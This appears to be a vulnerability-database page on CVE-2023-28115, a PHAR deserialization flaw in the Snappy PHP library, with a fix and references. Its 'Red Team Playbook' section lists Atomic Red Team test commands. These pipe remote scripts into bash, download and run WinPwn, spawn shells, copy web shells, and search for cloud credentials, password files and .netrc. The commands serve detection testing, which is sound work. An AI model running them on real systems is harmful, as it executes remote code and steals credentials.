CVE-2023-28115
Overview
This vulnerability is a PHAR deserialization flaw in the KnpLabs Snappy PHP library affecting the file existence check mechanism. The root cause is the lack of validation on the protocol scheme passed to the file_exists() function, allowing unsafe use of the phar:// protocol. The affected component is the generateFromHtml() function, which processes output file paths without proper protocol filtering prior to deserialization.
Vulnerability Description
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
Impact
An unauthenticated attacker with the ability to upload files to the server can exploit this vulnerability to execute arbitrary PHP code remotely. This requires no user interaction and no privileges, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Exploitation can compromise the confidentiality, integrity, and availability of the application and underlying system, potentially leading to full system takeover or lateral movement within an environment using Snappy with vulnerable PHP frameworks.
Solution
Upgrade KnpLabs Snappy to version 1.4.2 or later, where the vulnerability is fixed by implementing protocol validation before file_exists() calls. Detailed remediation steps and patch references are available in the official GitHub security advisory GHSA-gq6w-q6wh-jggc and the related pull request #469. Applying the patch from commit 1ee6360cbdbea5d09705909a150df7963a88efd6 is recommended to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Snappy PHP library arises from its handling of PHAR (PHP Archive) files, specifically due to inadequate validation of the protocol used before invoking the `file_exists()` function. This oversight allows an attacker to exploit the deserialization process by uploading malicious files that leverage the phar:// protocol. When these files are unserialized, they can instantiate arbitrary PHP objects, potentially leading to remote code execution (RCE). The risk is exacerbated when Snappy is integrated with popular frameworks such as Laravel or Symfony, which may contain known "PHP Object Injection" (POI) chains that attackers can exploit to execute arbitrary code.
Exploitation of this vulnerability can occur through several attack vectors. An attacker first needs to gain the ability to upload files to the server, which may be facilitated by misconfigured file upload mechanisms or insufficient access controls. Once the attacker successfully uploads a malicious PHAR file, they can trigger the deserialization process by controlling the output file generated by the `generateFromHtml()` function. This action can lead to the execution of arbitrary code on the server, allowing the attacker to take full control of the affected system. Scenarios may include creating backdoors, exfiltrating sensitive data, or launching further attacks within the network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Snappy library for generating thumbnails or PDFs from user-provided content. The potential for remote code execution poses a severe business risk, as it could lead to unauthorized access to sensitive information, disruption of services, or even complete system compromise. The financial implications of such breaches can be substantial, including costs related to incident response, legal liabilities, and damage to reputation. Furthermore, organizations that fail to address this vulnerability may face regulatory scrutiny, especially if they handle sensitive user data.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, they should ensure that they are using the latest version of the Snappy library, as version 1.4.2 and later contain fixes for this issue. Regularly updating all software components is crucial in maintaining a secure environment. Additionally, organizations should conduct thorough security assessments of their file upload functionalities, ensuring that only safe file types are permitted and that robust validation checks are in place. Implementing web application firewalls (WAFs) can also help detect and block malicious payloads before they reach the application layer.
In conclusion, the vulnerability in the Snappy PHP library highlights the critical importance of secure coding practices and thorough input validation in web applications. Organizations must remain vigilant in their security posture, continuously monitoring for potential threats and ensuring that their software dependencies are up-to-date. By adopting a proactive approach to security, businesses can significantly reduce their risk exposure and protect their assets from exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Knplabs | Snappy | All |
cpe:2.3:a:knplabs:snappy:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-28115 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/KnpLabs/snappy/pull/469 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/KnpLabs/snappy/commit/b66f79334421c26d9c244427963fa2d92980b5d3 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/KnpLabs/snappy/releases/tag/v1.4.2 |